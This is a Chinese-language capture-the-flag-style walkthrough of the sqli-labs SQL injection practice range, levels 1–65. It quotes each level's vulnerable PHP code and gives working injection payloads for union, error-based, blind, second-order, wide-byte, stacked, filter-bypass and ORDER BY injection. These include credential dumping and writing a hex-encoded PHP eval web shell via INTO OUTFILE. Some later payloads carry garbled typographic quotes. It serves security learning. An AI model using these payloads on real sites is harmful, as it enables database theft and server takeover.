SQL注入靶场sqli-labs 1-65关全部通关教程

以前说好复习一遍 结果复习到10关就没继续了 真是废物 一点简单的事做不好

继续把以前有头没尾的事做完

以下为Sqli-lab的靶场全部通关答案

目录:

less1-less10

less10-less20

less20-less30

less30-less40

less40-less50

less50-less65

1-2关 基于错误的字符串/数字型注入

闭合的符号有区别而已

http://www.sqli-lab.cn/Less-1/?id=1 or 1=1 --

http://www.sqli-lab.cn/Less-1/?id=1' order by 3 --+ #字段数为3

http://www.sqli-lab.cn/Less-1/?id=1' and 1=2 union select 1,2,3 --+  #显示位为2，3

http://www.sqli-lab.cn/Less-1/?id=1' and 1=2 union select 1,version(),database() --+

查看所有数据库名

http://www.sqli-lab.cn/Less-1/?id=1' AND 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

查询security内的所有表名

http://www.sqli-lab.cn/Less-1/?id=1' AND 1=2 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

接着使用下面的语句爆破出列名

http://www.sqli-lab.cn/Less-1/?id=1' AND 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+

爆用户名和密码

http://www.sqli-lab.cn/Less-1/?id=1' AND 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+

3-4关也是一样 只不过闭合符号不一样了些 需要  ')  来闭合

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
    echo 'Your Login name:'. $row['username'];
    echo 'Your Password:' .$row['password'];
}else{
    print_r(mysql_error());
}

5-6关 这里打印了错误信息 ，可以布尔盲注也可以直接报错注入

(1). 通过floor报错
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符

(2). 通过updatexml报错
and updatexml(1,payload,1)
同样该语句对输出的字符长度也做了限制，其最长输出32位
并且该语句对payload的反悔类型也做了限制，只有在payload返回的不是xml格式才会生效

(3). 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制，最长32位。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
    echo 'You are in...........';
}else{
    print_r(mysql_error());
}

http://www.sqli-lab.cn/Less-5/?id=1' union select count(*),0,concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a limit 0,10 --+

http://www.sqli-lab.cn/Less-5/?id=1' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

表名

http://www.sqli-lab.cn/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23

爆列

http://www.sqli-lab.cn/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 7,1),floor(rand()*2))as a from information_schema.tables group by a%23

爆值

http://www.sqli-lab.cn/Less-5/?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23

第7关 into Outfile来写shell

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
    echo 'You are in.... Use outfile......';
}else{
    echo 'You have an error in your SQL syntax';
}

$id被双层括号和单引号包围，URL正确时有提示 用outfile，错误时只知有错误

http://www.sqli-lab.cn/Less-7/?id=1')) union select null,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e,null into outfile 'E:\\phpstudy\\WWW\\sqli\\Less-7\\1.php' --+

第八关 基于布尔的盲注

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
      echo 'You are in...........';
}else{
}

http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select database()) ,1,1))) = 115--+

http://www.sqli-lab.cn/Less-8/?id=1' and (length(database())) = 8 --+ #数库名长度=8

盲注得出数据库名 security

http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select database()) ,1,1))) = 115 --+

    http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select database()) ,2,1))) = 101 --+

    http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select database()) ,3,1))) = 99 --+

    http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select database()) ,4,1))) = 117 --+

    http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select database()) ,5,1))) = 114 --+

    http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select database()) ,6,1))) = 105 --+

    http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select database()) ,7,1))) = 116 --+

    http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select database()) ,8,1))) = 121 --+  

接着判断表名长度

http://www.sqli-lab.cn/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+

判断出第四张表示user

http://www.sqli-lab.cn/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 5 --+

    http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) = 117 --+

    http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,2,1))) = 115 --+

    http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,3,1))) = 101 --+

    http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,4,1))) = 114 --+

    http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,5,1))) = 115 --+

其他的同样的方法 替换payload而已

第九和十关 基于时间的盲注

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
      echo 'You are in...........';
}else{
    echo 'You are in...........';
}

http://www.sqli-lab.cn/Less-9/?id=1'+and+if(1=1, sleep(5), null)+ --+

通过延迟来判断

http://www.sqli-lab.cn/Less-9/?id=1' and (length(database())) = 8 +and+if(1=1, sleep(5), null)+ --+
http://www.sqli-lab.cn/Less-9/?id=1' and (ascii(substr((select database()) ,1,1))) = 115 +and+if(1=1, sleep(1), null)+ --+

逐个猜解便是

Less11

payload:

uname=admin' order by 2#&passwd=1&submit=Submit   //判断列数

uname=admin' or ''='' #&passwd=1&submit=Submit 

uname=-qing' union select 1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)##&passwd=1&submit=Submit//爆全部数据

没啥说的

Less12

和11关一小点不同

闭合符号不一样而已

payload:

uname=admin") order by 2#&passwd=1&submit=Submit   //判断列数

uname=admin") or '1'='1' #&passwd=1&submit=Submit 

uname=-qing") union select 1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)##&passwd=1&submit=Submit//爆全部数据

Less13

// connectivity
    @$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

用注释符号就很简单了 不用注释也只是需要一点点变化

payload:

uname= qing') or 1=1 -- +&passwd=1&submit=Submit

uname= qing') or ('1')=('1 &passwd= ') or ('1')=('1 &submit=Submit

uname= qing') or 1=1 # &passwd= ') or 1=1 # &submit=Submit

爆数据:

莫得回显数据 就直接报错函数了

uname= qing') union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)) as qing from information_schema.tables group by qing # &passwd= ') or 1=1 # &submit=Submit

    uname= qing') union select count(*),concat(0x3a,0x3a,(select version()),0x3a,0x3a,floor(rand()*2)) as qing from information_schema.tables group by qing # &passwd= ') or 1=1 # &submit=Submit
　　　　uname= qing') union select 1,2 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= qing') or 1=1 # &submit=Submit

　　　　uname= qing') union select 1,2 from (select count(*),concat((select concat(group_concat(table_name) ,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= qing') or 1=1 # &submit=Submit

　　　　uname= qing') union select 1,2 from (select count(*),concat((select concat(group_concat(column_name) ,0x3a,0x3a) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= qing') or 1=1 # &submit=Submit

　　　　uname= qing') union select 1,2 from (select count(*),concat((select concat(count(*),0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= qing') or 1=1 # &submit=Submit

　　　　uname= qing') union select 1,2 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= qing') or 1=1 # &submit=Submit

Less14

$uname='"'.$uname.'"';
    $passwd='"'.$passwd.'"';
    @$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";

和上关的闭合符号不一样而已 不再多说

payload:

uname= qing" union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as qing from information_schema.tables group by qing # &passwd= ') or 1=1 # &submit=Submit

Less15

单引号闭合的布尔盲注  直接用盲注语句猜解就是了

     uname=' or (length(database())) = 8 #&passwd=' or 1=1 #&submit=Submit

     uname=' or (ascii(substr((select database()) ,1,1))) = 115 #&passwd=' or 1=1 #&submit=Submit

Less16

闭合变成双引号的 不多说

Less17

update的注入

@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
    if($row)
    {
          //echo '<font color= "#0000ff">';
        $row1 = $row['username'];
        //echo 'Your Login name:'. $row1;
        $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
        mysql_query($update);
          echo "<br>";

payload:

uname=admin&passwd=qing' or updatexml(1,concat(0x7e,(version()),0x7e),0) or '&submit=Submit

Less18

http头的内容拿到insert   基于报错注入就ok

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
    $result1 = mysql_query($sql);
    $row1 = mysql_fetch_array($result1);
        if($row1)
            {
            echo '<font color= "#FFFF00" font size = 3 >';
            $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
            mysql_query($insert);

payload:

qing' or updatexml(1,concat(0x7e,(database()),0x7e),0) or '

Less - 19

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
    $result1 = mysql_query($sql);
    $row1 = mysql_fetch_array($result1);
        if($row1)
            {
            echo '<font color= "#FFFF00" font size = 3 >';
            $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

这次就是基于refer字段拼接到insert 和上一个一样的道理。

Less - 20

$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

cookie字段的注入 位置不同而已

payload:

Cookie: uname=' union select 1,database(),6 or 1=1 #;

Less - 21

cookie注入

YOUR COOKIE : uname = RHVtYg== and expires: Sat 16 Jul 2016 - 08:32:26 
注： RHVtYg== 是 Dumb 经Base64加密后的值

和上关又是差不多 base64编码而已

payload:

') or 1=1 #
Jykgb3IgMT0xICM=

Less - 22

闭合为双引号   参考上关不多说

Less - 23

过滤了注释符号 而已

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

payload:

qing' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '

Less - 24

最简单的二次注入 没任何过滤

login.php：

发现输入进行了mysql_real_escape_string()函数转义 编码如果不是gbk宽字节注入  单引号是不能用了。

function sqllogin(){

   $username = mysql_real_escape_string($_POST["login_user"]);
   $password = mysql_real_escape_string($_POST["login_password"]);
   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
   $res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
   $row = mysql_fetch_row($res);
    //print_r($row) ;
   if ($row[1]) {
            return $row[1];
   } else {
              return 0;
   }

}

login_create.php：

//$username=  $_POST['username'] ;
    $username=  mysql_escape_string($_POST['username']) ;
    $pass= mysql_escape_string($_POST['password']);
    $re_pass= mysql_escape_string($_POST['re_password']);

    echo "<font size='3' color='#FFFF00'>";
    $sql = "select count(*) from users where username='$username'";
    $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
      $row = mysql_fetch_row($res);

这里看到这里把username再次取出来查询的没有任何过滤 所以我们在插入username的就直接把注入的payload插到数据库里，取出来时候造成注入

admin' or 1=1#

登录了admin' or 1=1#这个账号 输入新密码qing

# Validating the user input........
    $username= $_SESSION["username"];
    $curr_pass= mysql_real_escape_string($_POST['current_password']);
    $pass= mysql_real_escape_string($_POST['password']);
    $re_pass= mysql_real_escape_string($_POST['re_password']);

    if($pass==$re_pass)
    {
        $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
        $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
        $row = mysql_affected_rows();

update的时候就把我们原先的admin' or 1=1 #取出来拿到语句中了  所以密码都是qing了。

Less - 25

这关开始过滤

function blacklist($id){
    $id= preg_replace('/or/i',"", $id);
    $id= preg_replace('/AND/i',"", $id);
    return $id;
}
$id= blacklist($id);
$hint=$id;
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

双写就行了 没啥说的

payload:

http://sqli-qing.cn/sqli/Less-25/?id=1' oorr '1'='1

http://sqli-qing.cn/sqli/Less-25/?id=qing' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='security' --+

Less - 25a

这关和25一样 莫得单引号而已

http://sqli-qing.cn/sqli/Less-25a/?id=-1 union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='security' --+

Less - 26

这关过滤多一些 好耍一点

function blacklist($id) {
    $id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
    $id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)
    $id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
    $id= preg_replace('/[--]/',"", $id);        //Strip out --
    $id= preg_replace('/[#]/',"", $id);            //Strip out #
    $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces
    $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
    return $id;
}
$id= blacklist($id);
$hint=$id;
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

单引号闭合 过滤了 or，and ， /* , – , # , 空格 , /

payload：

qing'%A0union%A0select%A01,group_concat(username),group_concat(passwoorrd)%A0from%A0security%2Eusers%A0where%A01%A0%26%26%a0'1

%A0替代空格 &&替换and 注意url编码 需要linux 不测试了

Less - 26a

多一个闭合括号 不多说

Less - 27

function blacklist($id){
    $id= preg_replace('/[\/\*]/',"", $id);       //strip out /*
    $id= preg_replace('/[--]/',"", $id);          //Strip out --.
    $id= preg_replace('/[#]/',"", $id);           //Strip out #.
    $id= preg_replace('/[ +]/',"", $id);         //Strip out spaces.
    $id= preg_replace('/select/m',"", $id);   //Strip out spaces.
    $id= preg_replace('/[ +]/',"", $id);         //Strip out spaces.
    $id= preg_replace('/union/s',"", $id);    //Strip out union
    $id= preg_replace('/select/s',"", $id);    //Strip out select
    $id= preg_replace('/UNION/s',"", $id);  //Strip out UNION
    $id= preg_replace('/SELECT/s',"", $id);   //Strip out SELECT
    $id= preg_replace('/Union/s',"", $id);     //Strip out Union
    $id= preg_replace('/Select/s',"", $id);     //Strip out select
    return $id;
}

多一些过滤 关键字大小写就行了

payload：

0'%A0UnIoN%A0SeLeCt(1),group_concat(username),group_concat(password)%A0from%A0security%2Eusers%A0where%A01%26%26%a0'1

Less - 27a

function blacklist($id){
    $id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
    $id= preg_replace('/[--]/',"", $id);        //Strip out --.
    $id= preg_replace('/[#]/',"", $id);            //Strip out #.
    $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
    $id= preg_replace('/select/m',"", $id);        //Strip out spaces.
    $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
    $id= preg_replace('/union/s',"", $id);        //Strip out union
    $id= preg_replace('/select/s',"", $id);        //Strip out select
    $id= preg_replace('/UNION/s',"", $id);        //Strip out UNION
    $id= preg_replace('/SELECT/s',"", $id);        //Strip out SELECT
    $id= preg_replace('/Union/s',"", $id);        //Strip out Union
    $id= preg_replace('/Select/s',"", $id);        //Strip out Select
    return $id;
}

闭合不一样而已

payload:

0"%A0or(1)=(1)%26%26%a0"1

 http://sqli-qing.cn/sqli/Less-27/?id=0"%A0UnIoN%A0SeLeCt(1),group_concat(table_name),3%A0from%A0information_schema.tables%A0where%A0table_schema='security'%26%26%a0"1

 http://sqli-qing.cn/sqli/Less-27/?id=0"%A0UnIoN%A0SeLeCt(1),group_concat(username),group_concat(password)%A0from%A0security%2Eusers%A0where%A01%26%26%a0"1

Less - 28

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);                //strip out /*
$id= preg_replace('/[--]/',"", $id);                //Strip out --.
$id= preg_replace('/[#]/',"", $id);                    //Strip out #.
$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);                    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);        //Strip out UNION & SELECT.
return $id;
}

过滤union select这一个组合，也要过滤空格，所以采用union union select select方法绕过，空格照样用%0a替换

payload:

0')%A0UnIoN%A0SeLeCt(1),version(),database()%26%26%a0('1

Less - 28a

简单不多说

Less - 29

加了一个很弱的"waf.."

if(isset($_GET['id']))
{
    $qs = $_SERVER['QUERY_STRING'];
    $hint=$qs;
    $id1=java_implimentation($qs);
    $id=$_GET['id'];
    //echo $id1;
    whitelist($id1);

    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."\n");
    fclose($fp);

// connectivity
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
    $match = preg_match("/^\d+$/", $input);
    if($match)
    {
        //echo "you are good";
        //return $match;
    }
    else
    {
        header('Location: hacked.php');
        //echo "you are bad";
    }
}

// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
    $q_s = $query_string;
    $qs_array= explode("&",$q_s);

    foreach($qs_array as $key => $value)
    {
        $val=substr($value,0,2);
        if($val=="id")
        {
            $id_value=substr($value,3,30);
            return $id_value;
            echo "<br>";
            break;
        }

    }

}

?>

注入方法就是参数污染

例子  显示的是id=2的内容 但是waf检测的是前面id=1的内容  好理解吧？

payload:

    http://sqli-qing.cn/sqli/Less-29/?id=' union select 1,version(),database() --+

    http://sqli-qing.cn/sqli/Less-29/?id=' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

    http://sqli-qing.cn/sqli/Less-29/?id=' union select 1,group_concat(username),group_concat(password) from security.users where 1 --+

Less - 30

不多说 花里胡哨非得设置单独一关

Less - 31

同上

Less - 32

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash

    return $string;
}

...

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

...
function strToHex($string)
{
$hex='';
for ($i=0; $i < strlen($string); $i++)
{
$hex .= dechex(ord($string[$i]));
}
return $hex;
}
echo "Hint: The Query String you input is escaped as : ".$id ."<br>";
echo "The Query String you input in Hex becomes : ".strToHex($id). "<br>";

简单说check_addslashes函数把\\ 单引号 双引号都进行过滤转义

明显的编码gbk  宽字节注入 不用多说

payload:

http://sqli-qing.cn/sqli/Less-32/?id=-1%df%27 UNion seleCt 1,2,DATABASE()--+

Less-33

不多说

Less-34

变成32 33 post的方式而已 没意义

Less-35

// take the variables
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
...
// connectivity 

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

id没有被单引号括起来所以addslashes起不到作用

正常各种payload即可:

http://sqli-qing.cn/sqli/Less-35/?id=-1x and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

Less-36

function check_quotes($string)
{
    $string= mysql_real_escape_string($string);
    return $string;
}

// take the variables
if(isset($_GET['id']))
{
$id=check_quotes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";

mysql_real_escape_string转义  还是一样不多说

Less-37

post登录的而已

uname=admin%df%27 or 1=2 union select 1,database()#

Less-38

堆叠注入 来看看

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{

    /* store first result set */
    if ($result = mysqli_store_result($con1))
    {
        if($row = mysqli_fetch_row($result))
        {
            echo '<font size = "5" color= "#00FF00">';
            printf("Your Username is : %s", $row[1]);
            echo "<br>";
            printf("Your Password is : %s", $row[2]);
            echo "<br>";
            echo "</font>";
        }
//            mysqli_free_result($result);
    }
        /* print divider */
    if (mysqli_more_results($con1))
    {
            //printf("-----------------\n");
    }
     //while (mysqli_next_result($con1));
}
else
    {
    echo '<font size="5" color= "#FFFF00">';
    print_r(mysqli_error($con1));
    echo "</font>";
    }
/* close connection */
mysqli_close($con1);

mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。（有这个才能进行堆叠）
分号我们可以加入注入的新的语句

payload:

    http://sqli-qing.cn/sqli/Less-38/?id=2%FE' or 1=1 %23

    http://sqli-qing.cn/sqli/Less-38/?id=0%FE' union select 1,version(),database() %23

    http://sqli-qing.cn/sqli/Less-38/?id=0%FE' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

    http://sqli-qing.cn/sqli/Less-38/?id=0%FE' union select 1,group_concat(username),group_concat(password) from security.users where 1 %23

Less-39

参考38

Less - 40

参考38

Less - 41

为数字的堆叠 还是参考38

Less - 42

还是堆叠

qing';creat table me like users

Less - 43

闭合为')  深感这些关出出来没什么意义

Less - 44

$username = mysqli_real_escape_string($con1,$_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql)){
    if($result = @mysqli_store_result($con1)){
        if($row = @mysqli_fetch_row($result)){
            if ($row[1]){
                 return $row[1];
            }else{
                 return 0;
            }

payload:

login_user=admin&login_password=1' or '1'='1&mysubmit=login

Less - 45

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
if (@mysqli_multi_query($con1, $sql)){
    if($result = @mysqli_store_result($con1)){
        if($row = @mysqli_fetch_row($result)){
            if ($row[1]){
                 return $row[1];
            }else{
                 return 0;
            }
        }
    }
}

Less - 46

到了order by注入 来看看哈

$id=$_GET['sort'];
if(isset($id))
    {
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'SORT:'.$id."\n");
    fclose($fp);

    $sql = "SELECT * FROM users ORDER BY $id";
    $result = mysql_query($sql);

通过asc 和desc查看返回数据是否相同来简单判断是否存在order  by注入

http://sqli-qing.cn/sqli/Less-46/?sort=1+asc
http://sqli-qing.cn/sqli/Less-46/?sort=1+desc

说下order by可以哪些方法注入

首先报错注入

http://sqli-qing.cn/sqli/Less-46/?sort=1 and(updatexml(1,concat(0x7e,(select database())),0));

还可以盲注  可以用到异或注入  这里布尔盲注

id ^(select(select version()) regexp '^5')
http://sqli-qing.cn/sqli/Less-46/?sort=1 ^(select(select version()) regexp '^5')

稍微提一下:

regexp正则匹配的时候，如果匹配到数据返回1(00000001)的时候，此时的1会和id中的数据的二进制进行异或，按照异或的结果进行升序排列，所以显示的排列会发生变化；反之当进行正则匹配的时候，未匹配到数据返回0(00000000)，此时数字和0异或的结果还是本身，所以显示的排列不会发生改变。

时间盲注也可以

http://sqli-qing.cn/sqli/Less-46/?sort=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(5)))test))

order by 也可以union 联合查询

order by id ) union(select 1,(version()),3)

有个条件前面得有个(   ctf有 实战没遇到过

Less - 47

闭合为单引号 参考46

Less - 48

这关就是盲注了 参考46

Less - 49

$sql = "SELECT * FROM users ORDER BY '$id'";
$result = mysql_query($sql);
if ($result){
    while ($row = mysql_fetch_assoc($result)){
        echo $row['username'];
        echo $row['password'];
    }
}

Less - 50

数字型 参考46

Less - 51

Less - 52

Less - 53

这些关都可以参考46  差别真的太小了 没有意义的关卡

Less 54

这一关没什么特别  特别在于查询的次数   key下面那段就是为了控制查询次数  随便表名列名

// Querry DB to get the correct output
            $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
...
$key = addslashes($_POST['key']);
    $key = mysql_real_escape_string($key);
    //echo $key;
    //Query table to verify your result
    $sql="SELECT 1 FROM $table WHERE $col1= '$key'";
    //echo "$sql";
    $result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());

    $row = mysql_fetch_array($result);

payload：

     http://sqli-qing.cn/sqli/Less-54/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' --+

     http://sqli-qing.cn/sqli/Less-54/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='qing' --+

     http://sqli-qing.cn/sqli/Less-54/?id=0' union select 1,group_concat(secret_qing),group_concat(sessid) from challenges.qing --+

首先知道库名 challenges

查询表名

http://sqli-qing.cn/sqli/Less-54/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

列名和剩下的不多说了把

id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='842yxlmx7h'--+

http://sqli-qing.cn/sqli/Less-54/?id=-1'union select 1,2,group_concat(secret_KOB8) from challenges.842yxlmx7h--+

Less - 55

同 Less 54。 基于小括号

Less - 56

同 Less 54。基于小括号_单引号

Less - 57

同 Less 54。基于 _双引号_字符型  没意义

Less - 58

一点区别而已 这关开始不返回数据库查询内容 不能union select   那就报错

and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘7mu71b84nt’),0x7e))–

Less - 59

Less - 60

不多说 看58

Less - 61

-1’)) and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges’),0x7e))–+

Less - 62

这里union注入和报错注入都不行

盲注 不多说

)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))–+

Less - 63

Less - 64

LESS-65

闭合不同    做法同62

恩完毕 国庆写的还有点感冒 溜了溜了